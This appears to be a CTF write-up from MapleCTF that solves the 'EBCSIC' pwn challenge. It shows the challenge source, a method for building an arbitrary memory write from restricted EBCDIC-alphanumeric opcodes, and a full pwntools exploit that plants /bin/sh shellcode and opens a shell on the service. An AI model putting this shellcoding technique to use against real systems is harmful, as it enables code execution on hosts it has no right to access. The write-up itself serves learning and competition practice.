Last weekend I played MapleCTF with ARESx. For this event we teamed up with RCX and played as RCX/ARESx. Overall this CTF went very well as we managed to get 8th place :)

I didn’t have that much time to play and therefore only looked at one pwn challenge named EBCSIC.

EBCSIC

EBCSIC was a shellcoding challenge based on the Extended Binary Coded Decimal Interchange Code (EBCSIC). The challenge consisted of a single chal.py file:

#!/usr/bin/env python3
import string
import ctypes
import os
import sys
import subprocess

ok_chars = string.ascii_uppercase + string.digits
elf_header = bytes.fromhex("7F454C46010101000000000000000000020003000100000000800408340000000000000000000000340020000200280000000000010000000010000000800408008004080010000000000100070000000000000051E5746400000000000000000000000000000000000000000600000004000000")

print("Welcome to EBCSIC!")
sc = input("Enter your alphanumeric shellcode: ")
print(sc)
try:
    assert all(c in ok_chars for c in sc)
    sc_raw = sc.encode("cp037")
    assert len(sc_raw) <= 4096
except Exception as e:
    print("Sorry, that shellcode is not acceptable.")
    exit(1)

print("Looks good! Let's try your shellcode...")
sys.stdout.flush()

memfd_create = ctypes.CDLL("libc.so.6").memfd_create
memfd_create.argtypes = [ctypes.c_char_p, ctypes.c_int]
memfd_create.restype = ctypes.c_int

fd = memfd_create(b"prog", 0)
os.write(fd, elf_header)
os.lseek(fd, 4096, 0)
os.write(fd, sc_raw.ljust(4096, b"\xf4"))
os.execle("/proc/self/fd/%d" % fd, "prog", {})

As can be seen, the challenge lets us input up to 4096 characters which need to be either uppercase ASCII (A-Z) or digits (0-9). It then encodes the input into EBCDIC, creates an in memory ELF, writes the encoded input into the _start function of the ELF and runs it.

Encoding the allowed characters we end up with the bytes \xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9. These are all the bytes we can use to build our shellcode. Looking at the opcodes we can quickly see that we won’t be able to write a execve("/bin/sh", 0, 0) shellcode by just using these opcodes. We therefore need a different way to build our shellcode.

To make debugging easier we can add ö to the allowed characters which will allow us to add an int3 instruction for debugging purposes. Simply running the binary with a single breakpoint we can see the following memory layout:

Memory layout

There are two regions mapped rwx. The first region contains our shellcode, the second is empty. The binary does not have PIE, thefore the addresses of the first two regions are static won’t be different on the challenge server.

Based on the memory layout and the available opcodes our exploitation plan is to find a way to write arbitrary values to memory (our /bin/sh shellcode) and then return to it.

Getting arbitrary values into a register

Before writing anything to memory we need to get arbitrary values into a register. To do this we can use a combination of not and shl operations. To set a bit in the register while not losing its contents we not the register, shl by 1 and then not it again. Based on this we can write the following function which puts arbitrary values into ebp for us:

def encode_addr(addr):
    sc = b""
    bits_set = [False] * 0x20
    for i in range(0x20):
        num = 1 << i
        if addr & num:
            bits_set[i] = True

    for i in reversed(range(0x20)):
        if bits_set[i]:
            sc += asm("not ebp")
            sc += asm("shl ebp")
            sc += asm("not ebp")
        else:
            sc += asm("shl ebp")

    return sc

Writing to memory

Having the ability to get arbitrary values into a register we can now focus on finding a way to write to memory. For this we can use the enter instruction which pushes ebp onto the stack. We combine this with the leave instruction to set esp to arbitrary values. Based on this we can write a function that writes 32 bit values to an arbitrary addresses:

def change_esp(addr):
    sc = b""
    sc += encode_addr(addr)
    sc += asm("leave")

    return sc

def write_dword(val, off):
    print("Write: ", hex(val))
    sc = b""
    # prevent segfault
    sc += change_esp(0x8058000 - off)
    sc += encode_addr(val)
    sc += asm("enter 0xc1c1, 0xc1")

    return sc

Since we are limited in the bytes we can send we have to use high values as operands to the enter instruction. Due to this we need to be aware of two things:

  1. We have to make sure that esp - operand1 is a valid address, else enter will segfault.
  2. Due to the nesting level being > 0 (second operand) enter will push additional values onto the stack before pushing ebp which contains our arbitrary value.

In order to prevent the segfault we can chose an address somewhere in the rwx memory region which is far enough away from unmapped regions. To deal with enter pushing additional values onto the stack we have to write our shellcode in reverse since otherwise the additional push instructions would destroy some of the values we have already pushed.

Being able to write arbitrary values into arbitrary memory locations we can now simply write an execve("/bin/sh", 0, 0) shellcode somewhere and return to it.

Final exploit

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 4000

# dont forget to: patchelf --set-interpreter /tmp/ld-2.27.so ./test
# dont forget to set conext.arch. E.g amd64

from pwn import *
import string

# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = 'python3'
context.terminal = ['tmux', 'new-window']
argv = ["chal.py"]
env = {}

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 4000)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

def encode_addr(addr):
    sc = b""
    bits_set = [False] * 0x20
    for i in range(0x20):
        num = 1 << i
        if addr & num:
            bits_set[i] = True

    for i in reversed(range(0x20)):
        if bits_set[i]:
            sc += asm("not ebp")
            sc += asm("shl ebp")
            sc += asm("not ebp")
        else:
            sc += asm("shl ebp")

    return sc

def encode_sc(sc_raw):
    ok_chars = string.ascii_uppercase + string.digits
    mapping = {}

    for x in ok_chars:
        mapping[x.encode("cp037")] = x

    print(sc_raw)
    out = ""
    for x in sc_raw:
        if p8(x) not in mapping.keys():
            print("Invalid opcode: ", hex(x))
            exit(0)

        out += mapping[p8(x)]

    return out.encode()

def change_esp(addr):
    sc = b""
    sc += encode_addr(addr)
    sc += asm("leave")

    return sc

def write_dword(val, off):
    print("Write: ", hex(val))
    sc = b""
    # prevent segfault
    sc += change_esp(0x8058000 - off)
    sc += encode_addr(val)
    sc += asm("enter 0xc1c1, 0xc1")

    return sc

def pad(amt):
    sc = b""
    sc += asm("shl edx")*amt

    return sc

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
'''
b'\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9'
'''

sc = pad(0x20)
# memory location of our shellcode
sc += write_dword(0x8057dc8-0x4, 0x400)

bin_sh = asm(shellcraft.sh())
bin_sh = bin_sh.rjust(60, b'\x90')
bin_sh += p32(0x8057dc8)
cnt = 0
for i in reversed(range(0, len(bin_sh), 0x4)):
    sc += write_dword(u32(bin_sh[i:i+4]), 0x200 + 0x4 * cnt)
    cnt += 1

print(sc)
# ret to shellcode
sc += encode_addr(0x8058000-0x400-0x4)
sc += asm("leave")
sc += asm("ret")

sc = encode_sc(sc)

print("sc len: ", hex(len(sc)))

#int3 = 'ö'.encode()
#sc = sc + int3

io = start(argv, env=env)
io.sendlineafter("shellcode: ", sc)
io.interactive()